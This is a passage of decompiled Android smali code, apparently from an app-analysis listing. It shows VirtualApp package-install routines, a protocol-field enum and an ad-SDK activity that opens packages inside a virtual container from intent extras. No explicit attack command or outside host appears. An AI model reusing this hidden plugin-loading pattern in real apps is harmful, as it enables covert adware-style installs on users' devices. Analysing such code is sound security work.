                              160invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              161move-result-object v7
                              163invoke-interface {v0, v7}, Lsdk/nicro/lu/h;->a(Ljava/lang/String;)V
                              165invoke-interface {p2, v8}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              166cond_de: add-int/lit8 v0, v4, 0x1
                              167move v4, v0
                              168goto/16 :goto_72
                              169catch_e2: move-exception v0
                              171invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              172goto/16 :goto_36
                              173cond_e8: add-int/lit8 v0, v2, 0x1
                              174move v2, v0
                              175goto/16 :goto_37
                              176cond_ed:
                              177invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              178move-result-object v0
                              179new-instance v1, Ljava/lang/StringBuilder;
                              181invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              183const-string/jumbo v3, "plugin response code is "
                              185invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              186move-result-object v1
                              188invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              189move-result-object v1
                              191invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              192move-result-object v1
                              194invoke-interface {v0, v1}, Lsdk/nicro/lu/h;->d(Ljava/lang/String;)V
                              195cond_108: return-void
                              Cross References
                              APIs
                              • java.lang.System.currentTimeMillis
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.isFile
                              • java.lang.Throwable.printStackTrace
                              • com.lody.virtual.server.pm.VAppManagerService.canUpdate
                              • java.io.File.<init>
                              • java.io.File.delete
                              • com.lody.virtual.server.am.VActivityManagerService.get
                              • com.lody.virtual.server.am.VActivityManagerService.killAppByPkg
                              • java.io.File.exists
                              • java.io.File.mkdirs
                              • java.io.File.<init>
                              • java.io.File.<init>
                              • java.io.File.getParentFile
                              • java.io.File.exists
                              • java.io.File.mkdirs
                              • com.lody.virtual.server.pm.VAppManagerService.TAG:Ljava/lang/String
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.lody.virtual.server.pm.VAppManagerService.chmodPackageDictionary
                              • java.io.File.getPath
                              • java.io.File.getPath
                              • com.lody.virtual.server.pm.VAppManagerService.mUidSystem:Lcom/lody/virtual/server/am/UidSystem
                              • com.lody.virtual.server.pm.VAppManagerService.mPersistenceLayer:Lcom/lody/virtual/server/pm/PackagePersistenceLayer
                              • com.lody.virtual.server.pm.VAppManagerService.notifyAppInstalled
                              • java.io.File.exists
                              • java.io.File.delete
                              • com.lody.virtual.server.pm.VAppManagerService.TAG:Ljava/lang/String
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.delete
                              • com.lody.virtual.server.pm.VUserManagerService.get
                              • com.lody.virtual.server.pm.VUserManagerService.getUserIds
                              Strings
                              • path = NULL
                              • Package File is not exist.
                              • Unable to parse the package.
                              • Not allowed to update the package.
                              • lib
                              • Unable to create lib dir.
                              • base.apk
                              • Warning: unable to create folder :
                              • Warning: unable to delete file :
                              • Unable to copy the package file.
                              Position Instruction Meta Information
                              0.prologue
                              1monitor-enter p0
                              2try_start_1:
                              3invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                              4move-result-wide v10
                              5if-nez p1, :cond_f
                              7const-string v2, "path = NULL"
                              9invoke-static {v2}, Lcom/lody/virtual/remote/InstallResult;->makeFailure(Ljava/lang/String;)Lcom/lody/virtual/remote/InstallResult;
                              10try_end_c: move-result-object v2
                              11goto_d: monitor-exit p0
                              12return-object v2
                              13cond_f: and-int/lit8 v2, p2, 0x40
                              14if-eqz v2, :cond_2f
                              15const/4 v2, 0x1
                              16move v8, v2
                              17try_start_15: new-instance v5, Ljava/io/File;
                              18move-object/from16 v0, p1
                              20invoke-direct {v5, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              22invoke-virtual {v5}, Ljava/io/File;->exists()Z
                              23move-result v2
                              24if-eqz v2, :cond_28
                              26invoke-virtual {v5}, Ljava/io/File;->isFile()Z
                              27move-result v2
                              28if-nez v2, :cond_32
                              29cond_28:
                              30const-string v2, "Package File is not exist."
                              32invoke-static {v2}, Lcom/lody/virtual/remote/InstallResult;->makeFailure(Ljava/lang/String;)Lcom/lody/virtual/remote/InstallResult;
                              33try_end_2d: move-result-object v2
                              34goto/16 :goto_d
                              35cond_2f: const/4 v2, 0x0
                              36move v8, v2
                              37goto/16 :goto_15
                              38cond_32: const/4 v2, 0x0
                              39try_start_33:
                              40invoke-static {v5}, Lcom/lody/virtual/server/pm/parser/PackageParserEx;->parsePackage(Ljava/io/File;)Lcom/lody/virtual/server/pm/parser/VPackage;
                              41try_end_36: move-result-object v2
                              42move-object v7, v2
                              43goto_38: if-eqz v7, :cond_3e
                              44try_start_3a:
                              45iget-object v2, v7, Lcom/lody/virtual/server/pm/parser/VPackage;->packageName:Ljava/lang/String;
                              46if-nez v2, :cond_4b
                              47cond_3e:
                              48const-string v2, "Unable to parse the package."
                              50invoke-static {v2}, Lcom/lody/virtual/remote/InstallResult;->makeFailure(Ljava/lang/String;)Lcom/lody/virtual/remote/InstallResult;
                              51move-result-object v2
                              52goto/16 :goto_d
                              53catch_45: move-exception v3
                              55invoke-virtual {v3}, Ljava/lang/Throwable;->printStackTrace()V
                              56move-object v7, v2
                              57goto/16 :goto_38
                              58cond_4b: new-instance v3, Lcom/lody/virtual/remote/InstallResult;
                              60invoke-direct {v3}, Lcom/lody/virtual/remote/InstallResult;-><init>()V
                              62iget-object v2, v7, Lcom/lody/virtual/server/pm/parser/VPackage;->packageName:Ljava/lang/String;
                              63iput-object v2, v3, Lcom/lody/virtual/remote/InstallResult;->packageName:Ljava/lang/String;
                              65iget-object v2, v7, Lcom/lody/virtual/server/pm/parser/VPackage;->packageName:Ljava/lang/String;
                              67invoke-static {v2}, Lcom/lody/virtual/server/pm/PackageCacheManager;->get(Ljava/lang/String;)Lcom/lody/virtual/server/pm/parser/VPackage;
                              68move-result-object v9
                              69if-eqz v9, :cond_6b
                              71iget-object v2, v9, Lcom/lody/virtual/server/pm/parser/VPackage;->mExtras:Ljava/lang/Object;
                              72check-cast v2, Lcom/lody/virtual/server/pm/PackageSetting;
                              73goto_60: if-eqz v9, :cond_81
                              74and-int/lit8 v4, p2, 0x10
                              75if-eqz v4, :cond_6d
                              76const/4 v2, 0x1
                              77iput-boolean v2, v3, Lcom/lody/virtual/remote/InstallResult;->isUpdate:Z
                              78move-object v2, v3
                              79goto/16 :goto_d
                              80cond_6b: const/4 v2, 0x0
                              81goto/16 :goto_60
                              82cond_6d: move-object/from16 v0, p0
                              83move/from16 v1, p2
                              85invoke-direct {v0, v9, v7, v1}, Lcom/lody/virtual/server/pm/VAppManagerService;->canUpdate(Lcom/lody/virtual/server/pm/parser/VPackage;Lcom/lody/virtual/server/pm/parser/VPackage;I)Z
                              86move-result v4
                              87if-nez v4, :cond_7e
                              89const-string v2, "Not allowed to update the package."
                              91invoke-static {v2}, Lcom/lody/virtual/remote/InstallResult;->makeFailure(Ljava/lang/String;)Lcom/lody/virtual/remote/InstallResult;
                              92move-result-object v2
                              93goto/16 :goto_d
                              94cond_7e: const/4 v4, 0x1
                              95iput-boolean v4, v3, Lcom/lody/virtual/remote/InstallResult;->isUpdate:Z
                              96cond_81:
                              97iget-object v4, v7, Lcom/lody/virtual/server/pm/parser/VPackage;->packageName:Ljava/lang/String;
                              99invoke-static {v4}, Lcom/lody/virtual/os/VEnvironment;->getDataAppPackageDirectory(Ljava/lang/String;)Ljava/io/File;
                              100move-result-object v12
                              101new-instance v13, Ljava/io/File;
                              103const-string v4, "lib"
                              105invoke-direct {v13, v12, v4}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              106iget-boolean v4, v3, Lcom/lody/virtual/remote/InstallResult;->isUpdate:Z
                              107if-eqz v4, :cond_a8
                              109invoke-static {v13}, Lcom/lody/virtual/helper/utils/FileUtils;->deleteDir(Ljava/io/File;)Z
                              111iget-object v4, v7, Lcom/lody/virtual/server/pm/parser/VPackage;->packageName:Ljava/lang/String;
                              113invoke-static {v4}, Lcom/lody/virtual/os/VEnvironment;->getOdexFile(Ljava/lang/String;)Ljava/io/File;
                              114move-result-object v4
                              116invoke-virtual {v4}, Ljava/io/File;->delete()Z
                              118invoke-static {}, Lcom/lody/virtual/server/am/VActivityManagerService;->get()Lcom/lody/virtual/server/am/VActivityManagerService;
                              119move-result-object v4
                              121iget-object v6, v7, Lcom/lody/virtual/server/pm/parser/VPackage;->packageName:Ljava/lang/String;
                              122const/4 v14, -0x1
                              124invoke-virtual {v4, v6, v14}, Lcom/lody/virtual/server/am/VActivityManagerService;->killAppByPkg(Ljava/lang/String;I)V
                              125cond_a8:
                              126invoke-virtual {v13}, Ljava/io/File;->exists()Z
                              127move-result v4
                              128if-nez v4, :cond_bc
                              130invoke-virtual {v13}, Ljava/io/File;->mkdirs()Z
                              131move-result v4
                              132if-nez v4, :cond_bc
                              134const-string v2, "Unable to create lib dir."
                              136invoke-static {v2}, Lcom/lody/virtual/remote/InstallResult;->makeFailure(Ljava/lang/String;)Lcom/lody/virtual/remote/InstallResult;
                              137move-result-object v2
                              138goto/16 :goto_d
                              139cond_bc: and-int/lit8 v4, p2, 0x20
                              140if-eqz v4, :cond_173
                              142invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              143move-result-object v4
                              145iget-object v6, v7, Lcom/lody/virtual/server/pm/parser/VPackage;->packageName:Ljava/lang/String;
                              147invoke-virtual {v4, v6}, Lcom/lody/virtual/client/core/VirtualCore;->isOutsideInstalled(Ljava/lang/String;)Z
                              148move-result v4
                              149if-eqz v4, :cond_173
                              150const/4 v4, 0x1
                              151goto_cd: if-eqz v2, :cond_1de
                              152iget-boolean v6, v2, Lcom/lody/virtual/server/pm/PackageSetting;->dependSystem:Z
                              153if-eqz v6, :cond_1de
                              154const/4 v4, 0x0
                              155move v6, v4
                              156goto_d5: new-instance v4, Ljava/io/File;
                              157move-object/from16 v0, p1
                              159invoke-direct {v4, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              161invoke-static {v4, v13}, Lcom/lody/virtual/helper/compat/NativeLibraryHelperCompat;->copyNativeBinaries(Ljava/io/File;Ljava/io/File;)I
                              162if-nez v6, :cond_1db
                              163new-instance v4, Ljava/io/File;
                              165const-string v14, "base.apk"
                              167invoke-direct {v4, v12, v14}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              169invoke-virtual {v4}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              170move-result-object v12
                              172invoke-virtual {v12}, Ljava/io/File;->exists()Z
                              173move-result v14
                              174if-nez v14, :cond_176
                              176invoke-virtual {v12}, Ljava/io/File;->mkdirs()Z
                              177move-result v12
                              178if-nez v12, :cond_176
                              180sget-object v12, Lcom/lody/virtual/server/pm/VAppManagerService;->TAG:Ljava/lang/String;
                              181new-instance v14, Ljava/lang/StringBuilder;
                              183invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V
                              185const-string v15, "Warning: unable to create folder : "
                              187invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              188move-result-object v14
                              190invoke-virtual {v4}, Ljava/io/File;->getPath()Ljava/lang/String;
                              191move-result-object v15
                              193invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              194move-result-object v14
                              196invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              197move-result-object v14
                              198const/4 v15, 0x0
                              199new-array v15, v15, [Ljava/lang/Object;
                              201invoke-static {v12, v14, v15}, Lcom/lody/virtual/helper/utils/VLog;->w(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              202try_start_117:
                              203invoke-static {v5, v4}, Lcom/lody/virtual/helper/utils/FileUtils;->copyFile(Ljava/io/File;Ljava/io/File;)V
                              204goto_11a: if-eqz v9, :cond_121
                              205try_start_11c:
                              206iget-object v5, v7, Lcom/lody/virtual/server/pm/parser/VPackage;->packageName:Ljava/lang/String;
                              208invoke-static {v5}, Lcom/lody/virtual/server/pm/PackageCacheManager;->remove(Ljava/lang/String;)Lcom/lody/virtual/server/pm/parser/VPackage;
                              209cond_121: move-object/from16 v0, p0
                              211invoke-direct {v0, v4}, Lcom/lody/virtual/server/pm/VAppManagerService;->chmodPackageDictionary(Ljava/io/File;)V
                              212if-eqz v2, :cond_1b2
                              213move-object v5, v2
                              214goto_129: iput-boolean v8, v5, Lcom/lody/virtual/server/pm/PackageSetting;->skipDexOpt:Z
                              215iput-boolean v6, v5, Lcom/lody/virtual/server/pm/PackageSetting;->dependSystem:Z
                              217invoke-virtual {v4}, Ljava/io/File;->getPath()Ljava/lang/String;
                              218move-result-object v2
                              219iput-object v2, v5, Lcom/lody/virtual/server/pm/PackageSetting;->apkPath:Ljava/lang/String;
                              221invoke-virtual {v13}, Ljava/io/File;->getPath()Ljava/lang/String;
                              222move-result-object v2
                              223iput-object v2, v5, Lcom/lody/virtual/server/pm/PackageSetting;->libPath:Ljava/lang/String;
                              225iget-object v2, v7, Lcom/lody/virtual/server/pm/parser/VPackage;->packageName:Ljava/lang/String;
                              226iput-object v2, v5, Lcom/lody/virtual/server/pm/PackageSetting;->packageName:Ljava/lang/String;
                              227move-object/from16 v0, p0
                              229iget-object v2, v0, Lcom/lody/virtual/server/pm/VAppManagerService;->mUidSystem:Lcom/lody/virtual/server/am/UidSystem;
                              231invoke-virtual {v2, v7}, Lcom/lody/virtual/server/am/UidSystem;->getOrCreateUid(Lcom/lody/virtual/server/pm/parser/VPackage;)I
                              232move-result v2
                              234invoke-static {v2}, Lcom/lody/virtual/os/VUserHandle;->getAppId(I)I
                              235move-result v2
                              236iput v2, v5, Lcom/lody/virtual/server/pm/PackageSetting;->appId:I
                              237iget-boolean v2, v3, Lcom/lody/virtual/remote/InstallResult;->isUpdate:Z
                              238if-eqz v2, :cond_1ba
                              239iput-wide v10, v5, Lcom/lody/virtual/server/pm/PackageSetting;->lastUpdateTime:J
                              240cond_151:
                              241invoke-static {v7}, Lcom/lody/virtual/server/pm/parser/PackageParserEx;->savePackageCache(Lcom/lody/virtual/server/pm/parser/VPackage;)V
                              243invoke-static {v7, v5}, Lcom/lody/virtual/server/pm/PackageCacheManager;->put(Lcom/lody/virtual/server/pm/parser/VPackage;Lcom/lody/virtual/server/pm/PackageSetting;)V
                              244move-object/from16 v0, p0
                              246iget-object v2, v0, Lcom/lody/virtual/server/pm/VAppManagerService;->mPersistenceLayer:Lcom/lody/virtual/server/pm/PackagePersistenceLayer;
                              248invoke-virtual {v2}, Lcom/lody/virtual/server/pm/PackagePersistenceLayer;->save()V
                              250invoke-static {}, Lcom/lody/virtual/server/am/BroadcastSystem;->get()Lcom/lody/virtual/server/am/BroadcastSystem;
                              251move-result-object v2
                              253invoke-virtual {v2, v7}, Lcom/lody/virtual/server/am/BroadcastSystem;->startApp(Lcom/lody/virtual/server/pm/parser/VPackage;)V
                              254if-eqz p3, :cond_16d
                              255const/4 v2, -0x1
                              256move-object/from16 v0, p0
                              258invoke-direct {v0, v5, v2}, Lcom/lody/virtual/server/pm/VAppManagerService;->notifyAppInstalled(Lcom/lody/virtual/server/pm/PackageSetting;I)V
                              259cond_16d: const/4 v2, 0x1
                              260iput-boolean v2, v3, Lcom/lody/virtual/remote/InstallResult;->isSuccess:Z
                              261move-object v2, v3
                              262goto/16 :goto_d
                              263cond_173: const/4 v4, 0x0
                              264goto/16 :goto_cd
                              265cond_176:
                              266invoke-virtual {v4}, Ljava/io/File;->exists()Z
                              267move-result v12
                              268if-eqz v12, :cond_117
                              270invoke-virtual {v4}, Ljava/io/File;->delete()Z
                              271move-result v12
                              272if-nez v12, :cond_117
                              274sget-object v12, Lcom/lody/virtual/server/pm/VAppManagerService;->TAG:Ljava/lang/String;
                              275new-instance v14, Ljava/lang/StringBuilder;
                              277invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V
                              279const-string v15, "Warning: unable to delete file : "
                              281invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              282move-result-object v14
                              284invoke-virtual {v4}, Ljava/io/File;->getPath()Ljava/lang/String;
                              285move-result-object v15
                              287invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              288move-result-object v14
                              290invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              291move-result-object v14
                              292const/4 v15, 0x0
                              293new-array v15, v15, [Ljava/lang/Object;
                              295invoke-static {v12, v14, v15}, Lcom/lody/virtual/helper/utils/VLog;->w(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              296try_end_1a1: goto/16 :goto_117
                              297catchall_1a3: move-exception v2
                              298monitor-exit p0
                              299throw v2
                              300catch_1a6: move-exception v2
                              301try_start_1a7:
                              302invoke-virtual {v4}, Ljava/io/File;->delete()Z
                              304const-string v2, "Unable to copy the package file."
                              306invoke-static {v2}, Lcom/lody/virtual/remote/InstallResult;->makeFailure(Ljava/lang/String;)Lcom/lody/virtual/remote/InstallResult;
                              307move-result-object v2
                              308goto/16 :goto_d
                              309cond_1b2: new-instance v2, Lcom/lody/virtual/server/pm/PackageSetting;
                              311invoke-direct {v2}, Lcom/lody/virtual/server/pm/PackageSetting;-><init>()V
                              312move-object v5, v2
                              313goto/16 :goto_129
                              314cond_1ba: iput-wide v10, v5, Lcom/lody/virtual/server/pm/PackageSetting;->firstInstallTime:J
                              315iput-wide v10, v5, Lcom/lody/virtual/server/pm/PackageSetting;->lastUpdateTime:J
                              317invoke-static {}, Lcom/lody/virtual/server/pm/VUserManagerService;->get()Lcom/lody/virtual/server/pm/VUserManagerService;
                              318move-result-object v2
                              320invoke-virtual {v2}, Lcom/lody/virtual/server/pm/VUserManagerService;->getUserIds()[I
                              321move-result-object v6
                              322array-length v8, v6
                              323const/4 v2, 0x0
                              324move v4, v2
                              325goto_1c9: if-ge v4, v8, :cond_151
                              326aget v9, v6, v4
                              327if-nez v9, :cond_1d9
                              328const/4 v2, 0x1
                              329goto_1d0: const/4 v10, 0x0
                              330const/4 v11, 0x0
                              332invoke-virtual {v5, v9, v10, v11, v2}, Lcom/lody/virtual/server/pm/PackageSetting;->setUserState(IZZZ)V
                              333try_end_1d5: add-int/lit8 v2, v4, 0x1
                              334move v4, v2
                              335goto/16 :goto_1c9
                              336cond_1d9: const/4 v2, 0x0
                              337goto/16 :goto_1d0
                              338cond_1db: move-object v4, v5
                              339goto/16 :goto_11a
                              340cond_1de: move v6, v4
                              341goto/16 :goto_d5
                              APIs
                              • b.a.ap$e.<init>
                              • b.a.ap$e.<init>
                              • b.a.ap$e.<init>
                              • b.a.ap$e.<init>
                              • b.a.ap$e.<init>
                              • b.a.ap$e.<init>
                              • b.a.ap$e.<init>
                              • b.a.ap$e.<init>
                              • b.a.ap$e.<init>
                              • b.a.ap$e.<init>
                              • b.a.ap$e.a:Lb/a/ap$e
                              • b.a.ap$e.b:Lb/a/ap$e
                              • b.a.ap$e.c:Lb/a/ap$e
                              • b.a.ap$e.d:Lb/a/ap$e
                              • b.a.ap$e.e:Lb/a/ap$e
                              • b.a.ap$e.f:Lb/a/ap$e
                              • b.a.ap$e.g:Lb/a/ap$e
                              • b.a.ap$e.h:Lb/a/ap$e
                              • b.a.ap$e.i:Lb/a/ap$e
                              • b.a.ap$e.j:Lb/a/ap$e
                              • java.util.HashMap.<init>
                              • java.util.EnumSet.allOf
                              • java.util.EnumSet.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • b.a.ap$e.k:Ljava/util/Map
                              • b.a.ap$e.a
                              • java.util.Map.put
                              Strings
                              • VERSION
                              • version
                              • ADDRESS
                              • address
                              • SIGNATURE
                              • signature
                              • SERIAL_NUM
                              • serial_num
                              • TS_SECS
                              • ts_secs
                              • LENGTH
                              • length
                              • ENTITY
                              • entity
                              • GUID
                              • guid
                              • CHECKSUM
                              • checksum
                              • CODEX
                              • codex
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v9, 0x5
                              2const/4 v8, 0x4
                              3const/4 v7, 0x3
                              4const/4 v6, 0x2
                              5const/4 v5, 0x1
                              6new-instance v0, Lb/a/ap$e;
                              8const-string v1, "VERSION"
                              9const/4 v2, 0x0
                              11const-string v3, "version"
                              13invoke-direct {v0, v1, v2, v5, v3}, Lb/a/ap$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              14sput-object v0, Lb/a/ap$e;->a:Lb/a/ap$e;
                              15new-instance v0, Lb/a/ap$e;
                              17const-string v1, "ADDRESS"
                              19const-string v2, "address"
                              21invoke-direct {v0, v1, v5, v6, v2}, Lb/a/ap$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              22sput-object v0, Lb/a/ap$e;->b:Lb/a/ap$e;
                              23new-instance v0, Lb/a/ap$e;
                              25const-string v1, "SIGNATURE"
                              27const-string v2, "signature"
                              29invoke-direct {v0, v1, v6, v7, v2}, Lb/a/ap$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              30sput-object v0, Lb/a/ap$e;->c:Lb/a/ap$e;
                              31new-instance v0, Lb/a/ap$e;
                              33const-string v1, "SERIAL_NUM"
                              35const-string v2, "serial_num"
                              37invoke-direct {v0, v1, v7, v8, v2}, Lb/a/ap$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              38sput-object v0, Lb/a/ap$e;->d:Lb/a/ap$e;
                              39new-instance v0, Lb/a/ap$e;
                              41const-string v1, "TS_SECS"
                              43const-string v2, "ts_secs"
                              45invoke-direct {v0, v1, v8, v9, v2}, Lb/a/ap$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              46sput-object v0, Lb/a/ap$e;->e:Lb/a/ap$e;
                              47new-instance v0, Lb/a/ap$e;
                              49const-string v1, "LENGTH"
                              50const/4 v2, 0x6
                              52const-string v3, "length"
                              54invoke-direct {v0, v1, v9, v2, v3}, Lb/a/ap$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              55sput-object v0, Lb/a/ap$e;->f:Lb/a/ap$e;
                              56new-instance v0, Lb/a/ap$e;
                              58const-string v1, "ENTITY"
                              59const/4 v2, 0x6
                              60const/4 v3, 0x7
                              62const-string v4, "entity"
                              64invoke-direct {v0, v1, v2, v3, v4}, Lb/a/ap$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              65sput-object v0, Lb/a/ap$e;->g:Lb/a/ap$e;
                              66new-instance v0, Lb/a/ap$e;
                              68const-string v1, "GUID"
                              69const/4 v2, 0x7
                              70const/16 v3, 0x8
                              72const-string v4, "guid"
                              74invoke-direct {v0, v1, v2, v3, v4}, Lb/a/ap$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              75sput-object v0, Lb/a/ap$e;->h:Lb/a/ap$e;
                              76new-instance v0, Lb/a/ap$e;
                              78const-string v1, "CHECKSUM"
                              79const/16 v2, 0x8
                              80const/16 v3, 0x9
                              82const-string v4, "checksum"
                              84invoke-direct {v0, v1, v2, v3, v4}, Lb/a/ap$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              85sput-object v0, Lb/a/ap$e;->i:Lb/a/ap$e;
                              86new-instance v0, Lb/a/ap$e;
                              88const-string v1, "CODEX"
                              89const/16 v2, 0x9
                              90const/16 v3, 0xa
                              92const-string v4, "codex"
                              94invoke-direct {v0, v1, v2, v3, v4}, Lb/a/ap$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                              95sput-object v0, Lb/a/ap$e;->j:Lb/a/ap$e;
                              96const/16 v0, 0xa
                              97new-array v0, v0, [Lb/a/ap$e;
                              98const/4 v1, 0x0
                              100sget-object v2, Lb/a/ap$e;->a:Lb/a/ap$e;
                              101aput-object v2, v0, v1
                              103sget-object v1, Lb/a/ap$e;->b:Lb/a/ap$e;
                              104aput-object v1, v0, v5
                              106sget-object v1, Lb/a/ap$e;->c:Lb/a/ap$e;
                              107aput-object v1, v0, v6
                              109sget-object v1, Lb/a/ap$e;->d:Lb/a/ap$e;
                              110aput-object v1, v0, v7
                              112sget-object v1, Lb/a/ap$e;->e:Lb/a/ap$e;
                              113aput-object v1, v0, v8
                              115sget-object v1, Lb/a/ap$e;->f:Lb/a/ap$e;
                              116aput-object v1, v0, v9
                              117const/4 v1, 0x6
                              119sget-object v2, Lb/a/ap$e;->g:Lb/a/ap$e;
                              120aput-object v2, v0, v1
                              121const/4 v1, 0x7
                              123sget-object v2, Lb/a/ap$e;->h:Lb/a/ap$e;
                              124aput-object v2, v0, v1
                              125const/16 v1, 0x8
                              127sget-object v2, Lb/a/ap$e;->i:Lb/a/ap$e;
                              128aput-object v2, v0, v1
                              129const/16 v1, 0x9
                              131sget-object v2, Lb/a/ap$e;->j:Lb/a/ap$e;
                              132aput-object v2, v0, v1
                              133sput-object v0, Lb/a/ap$e;->n:[Lb/a/ap$e;
                              134new-instance v0, Ljava/util/HashMap;
                              136invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                              137sput-object v0, Lb/a/ap$e;->k:Ljava/util/Map;
                              138const-class v0, Lb/a/ap$e;
                              140invoke-static {v0}, Ljava/util/EnumSet;->allOf(Ljava/lang/Class;)Ljava/util/EnumSet;
                              141move-result-object v0
                              143invoke-virtual {v0}, Ljava/util/EnumSet;->iterator()Ljava/util/Iterator;
                              144move-result-object v1
                              145goto_c8:
                              146invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              147move-result v0
                              148if-eqz v0, :cond_de
                              150invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              151move-result-object v0
                              152check-cast v0, Lb/a/ap$e;
                              154sget-object v2, Lb/a/ap$e;->k:Ljava/util/Map;
                              156invoke-virtual {v0}, Lb/a/ap$e;->a()Ljava/lang/String;
                              157move-result-object v3
                              159invoke-interface {v2, v3, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              160goto/16 :goto_c8
                              161cond_de: return-void
                              APIs
                              • android.app.Activity.onCreate
                              • com.view.sdk.NActivity.requestWindowFeature
                              • com.view.sdk.NActivity.getWindow
                              • android.view.Window.getAttributes
                              • com.view.sdk.NActivity.getIntent
                              • android.content.Intent.getStringExtra
                              • android.content.Intent.getStringExtra
                              • android.content.Intent.getStringExtra
                              • android.content.Intent.getStringExtra
                              • android.content.Intent.getStringExtra
                              • android.content.Intent.getStringExtra
                              • android.content.Intent.getStringExtra
                              • android.content.Intent.getStringExtra
                              • android.content.Intent.getStringExtra
                              • android.content.Intent.getStringExtra
                              • android.content.Intent.getStringExtra
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.lang.Integer.toString
                              Strings
                              • pkg
                              • path
                              • platformType
                              • adType
                              • adPlacementId
                              • version
                              • NActivity openVirtual pkg=
                              • -path-
                              • appleid
                              • ClickIconOpenApp
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v7, 0x1
                              3invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                              5invoke-virtual {p0, v7}, Lcom/view/sdk/NActivity;->requestWindowFeature(I)Z
                              7invoke-virtual {p0}, Lcom/view/sdk/NActivity;->getWindow()Landroid/view/Window;
                              8move-result-object v0
                              10invoke-virtual {v0}, Landroid/view/Window;->getAttributes()Landroid/view/WindowManager$LayoutParams;
                              11move-result-object v0
                              12const/16 v1, 0x10
                              13iput v1, v0, Landroid/view/WindowManager$LayoutParams;->flags:I
                              15invoke-virtual {p0}, Lcom/view/sdk/NActivity;->getIntent()Landroid/content/Intent;
                              16move-result-object v0
                              17if-eqz v0, :cond_e2
                              19const-string/jumbo v1, "pkg"
                              21invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              22move-result-object v1
                              23if-eqz v1, :cond_e2
                              25const-string/jumbo v1, "path"
                              27invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              28move-result-object v1
                              29if-eqz v1, :cond_e2
                              31const-string/jumbo v1, "platformType"
                              33invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              34move-result-object v1
                              35if-eqz v1, :cond_e2
                              37const-string/jumbo v1, "adType"
                              39invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              40move-result-object v1
                              41if-eqz v1, :cond_e2
                              43const-string/jumbo v1, "adPlacementId"
                              45invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              46move-result-object v1
                              47if-eqz v1, :cond_e2
                              49const-string/jumbo v1, "pkg"
                              51invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              52move-result-object v2
                              54const-string/jumbo v1, "path"
